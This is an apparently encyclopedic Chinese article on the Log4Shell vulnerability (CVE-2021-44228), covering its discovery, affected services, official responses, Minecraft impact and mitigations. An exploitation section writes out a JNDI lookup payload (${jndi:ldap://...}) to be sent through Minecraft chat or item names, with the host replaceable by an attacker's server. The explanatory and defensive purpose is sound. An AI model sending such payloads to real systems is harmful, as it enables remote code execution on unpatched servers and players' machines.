Log4ShellLog4j 2.0(Log4J2)的一个零日远程代码执行漏洞公共漏洞和暴露编号(CVE)为CVE-2021-44228页面存档备份,存于互联网档案馆[1]。被定性为“过去十年来最大、最关键的漏洞”

事件经过

阿里巴巴集团于2021年11月24日发现并报告给 Apache ,并于12月9日在推文中发布了一个涉及 Log4j 2 中远程代码执行零日漏洞,其描述符为“Log4Shell”[1],受影响的服务包括CloudflareiCloud我的世界:Java版Steam腾讯QQ推特Apache软件基金会分配了最大CVSS Log4Shell 的严重等级为10,因为数百万台服务器可能容易受到该漏洞的攻击。网络安全公司Tenable英语Tenable, Inc.将该漏洞描述为“过去十年中最大、最关键的漏洞” ,Lunasec 的 Free Wortley 将其描述为“灾难性的设计失败”。

在美国,网络安全和基础设施安全局主任Jen Easterly英语Jen Easterly称该漏洞利用“至关重要”,并建议供应商优先考虑软件更新,和德国机构联邦信息安全办公室(BSI)将该漏洞指定为处于最高威胁级别,称其为“极其严重的威胁情况”。加拿大网络安全中心英语Canadian Centre for Cyber Security呼吁各组织立即采取行动。

可以通过配置设置禁用导致漏洞的功能,该设置已在 Log4j 版本 2.15.0-rc1(2021年12月6日正式发布,漏洞发布前三天)中删除 ,并替换为各种设置限制远程查找,从而减轻漏洞。为提高安全性,此漏洞所基于的所有使用JNDI的功能将默认禁用,并且从版本 2.16.0 开始删除对消息查找的支持。

官方的Minecraft:Java 版启动器已修补此漏洞。使用自定义启动器或自定义 Java 版本可能意味着客户端尚未打补丁。在没有修补此漏洞的服务器上玩游戏将允许服务器上的任何玩家在另一个客户端的计算机上执行潜在的恶意代码。在 1.18.1 以上的版本上玩单人游戏或多人游戏将防止此漏洞。低于 1.7 的版本不受影响。如果游戏服务器主机运行的是 Minecraft 1.7-1.18 版本,则必须专门修补其服务器,如果不这样做,任何玩家都可以使用漏洞

利用方法

在一个没有修复该漏洞的Minecraft多人游戏服务器(如Minecraft1.12.2)通过聊天框发送该信息,示例如下:

${jndi:ldap://wikipedia.org}

其中“wikipedia.org”可替换为攻击者的恶意网站[2],例如DNSLog[2],发送后攻击者客户端也会卡死崩溃,输出为:

ReadTimeoutException : null

攻击者也可以将剑命名为该信息杀死人来触发该漏洞(在部分多人服务器被称为崩服剑)。

防范方法

  • 在服务器上打补丁或者更新相应组件
  • 在服务器上安装聊天过滤插件禁止用户发送此类消息(通常禁止用户发送第一个字符为“$”的消息)来达到防范目的
  • 使用JVM参数关闭该功能[3][4]
    -Dlog4j2.formatMsgNoLookups=true
    

参考资料

  1. ^ 1.0 1.1 CVE - CVE-2021-44228. cve.mitre.org. [2022-11-23]. (原始内容存档于2022-05-30). 
  2. ^ 2.0 2.1 DNSLog DNSLog. DNSLog. [2023-01-21]. (原始内容存档于2022-12-17) (英语). 
  3. ^ SpringCloud项目的log4j2漏洞解决方案详解流程-Finclip. www.finclip.com. [2022-11-24]. (原始内容存档于2022-11-24). 
  4. ^ 核弹级漏洞log4shell席卷全球!危及苹果腾讯百度网易,修改iPhone名称就可触发 | 量子位. [2022-11-24]. (原始内容存档于2022-11-24) (中文(中国大陆)).